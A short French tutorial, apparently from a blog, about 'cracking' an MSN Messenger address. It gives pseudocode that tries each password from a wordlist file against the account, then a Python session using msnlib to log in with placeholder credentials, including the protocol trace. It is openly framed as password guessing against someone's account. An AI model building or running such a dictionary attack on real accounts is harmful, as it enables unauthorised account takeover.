Pour cracker une adresse msn, nous allons créer un petit utilitaire en ligne de commande programmé en python (cf. découvrir python) qui va tester une liste de mot de passe stocké dans un fichier.

La bibliothèque utilisé dans ce tutoriel est : msnlib (disponible à cette adresse : http://blitiri.com.ar/p/msnlib/)

La documentation de cette bibliothèque est dur à trouver mais il existe certains exemple !

Pseudo code (schéma sous forme de code simplifié) :

list_pass = "c:\wordlist\french.txt"

for i in list_pass:

    test de la connexion avec le mot de passe courant

    si connecté alors:

        afficher le résultat

    sinon:

        afficher l'erreur obtenu

Après avoir installer msnlib, nous allons éssayer de nous connecter à windows live messenger (le but est de vous déconnecter !)

Microsoft Windows [version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. Tous droits réservés.

C:\Users\clintm>python
Python 2.5.4 (r254:67916, Dec 23 2008, 15:10:54) [MSC v.1310 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys, os, csv, msnlib,msncb
>>> m = msnlib.msnd()
>>> m.cb = msncb.cb()
>>> m.email = "votre_adresse_mail"
>>> m.pwd = "votre_mot_de_passe "
>>> m.login()
128 >>> VER 1 MSNP8 CVR0
128 <<< VER 1 MSNP8
128 >>> CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS adresse_mail@fai.fr
128 <<< CVR 2 1.0.0000 1.0.0000 1.0.0000 http://msgr.dlservice.microsoft.com http://download.live.com/?sku=messenger
128 >>> USR 3 TWN I adresse_mail@fai.fr
128 <<< XFR 3 NS 65.55.71.92:1863 0 65.55.64.254:1863
128 >>> VER 4 MSNP8 CVR0
128 <<< VER 4 MSNP8
128 >>> CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS      adresse_mail@fai.fr
128 <<< CVR 5 1.0.0000 1.0.0000 1.0.0000 http://msgr.dlservice.microsoft.com http://download.live.com/?sku=messenger
128 >>> USR 6 TWN I adresse_mail@fai.fr
128 <<< USR 6 TWN S ct=1288300457,rver=5.5.4182.0,wp=FS_40SEC_0_COMPACT,lc=1033,id=507,ru=http:%2F%2Fmessenger.msn.com,t
w=0,kpp=1,kv=4,ver=2.1.6000.1,rn=1lgjBfIL,tpf=b0735e3a873dfb5e75054465196398e0
PASSPORT begin
SSL Connect to https://login.live.com/login2.srf
SSL GET
SSL Response 200
128 >>> USR 7 TWN S t=EwD4AfsBAAAUW9%2b7Miyt3HjZIRD38NPpViMVcoOAANT9vcd7zrbHYZzhGw8S9zgxkkRPW/FzY59YAOJXaL%2brSQ1HwcD0yB
XWdiABrnA%2bxQvJq0OnTn8IfPx/Is92JCgkgEAPjMJ%2bQn/2CQy1c8eZ0FA96XH2raq2hDFNFh%2blgnoyFgGxynCo5gCJQCiWRpfP53jDMZsVhlAlvRnJ
OMYyA2YAAAiR0VjTFYya0EgBXnvb6HOW9YtNEm1p%2bGIFDqrOtzsY/re8uPBCpmxEOmFMFoBbmAhouCNvaDAoJnbzZqXqs7Bei1V9nVOLXzH4STqGM6XXrd
2umpzVaXi1c7OPOrw5A0kxyVzYHffglAoS7T1tP0bA7aWUaEXc%2bsR462fuBCxQD%2bhT6U7Qd8cDbr2q5OFmeQ2niglhPKhZVrme2/poshzqRXlzlhXCmq
w8bA9Ej2He6hI/li1PfYizaEjCc/NdNJJx0F/w8zkgCt4cC5T96TMUFz37e6QXyuRn6gDrasV1DMuu6/Rva%2bQ4E4kCLnKMhAuj7fXLeyWI8GdhTeYKs3uA
PcOiceIJxVTAVC9L2RkBiBXkDBYh5zCUHVxPGWFukyuyeFgaFNI6ItlaSN0YigRT4YeMuQc76bKDXYOeVjgeAI7XwJfzOHOb%2b6HhRGdOGSXdqGkB&p=
128 <<< USR 7 OK adresse_mail@fai.fr xxxx 1 0
1

Voici le résultat ! vous êtes déconnecté à WLM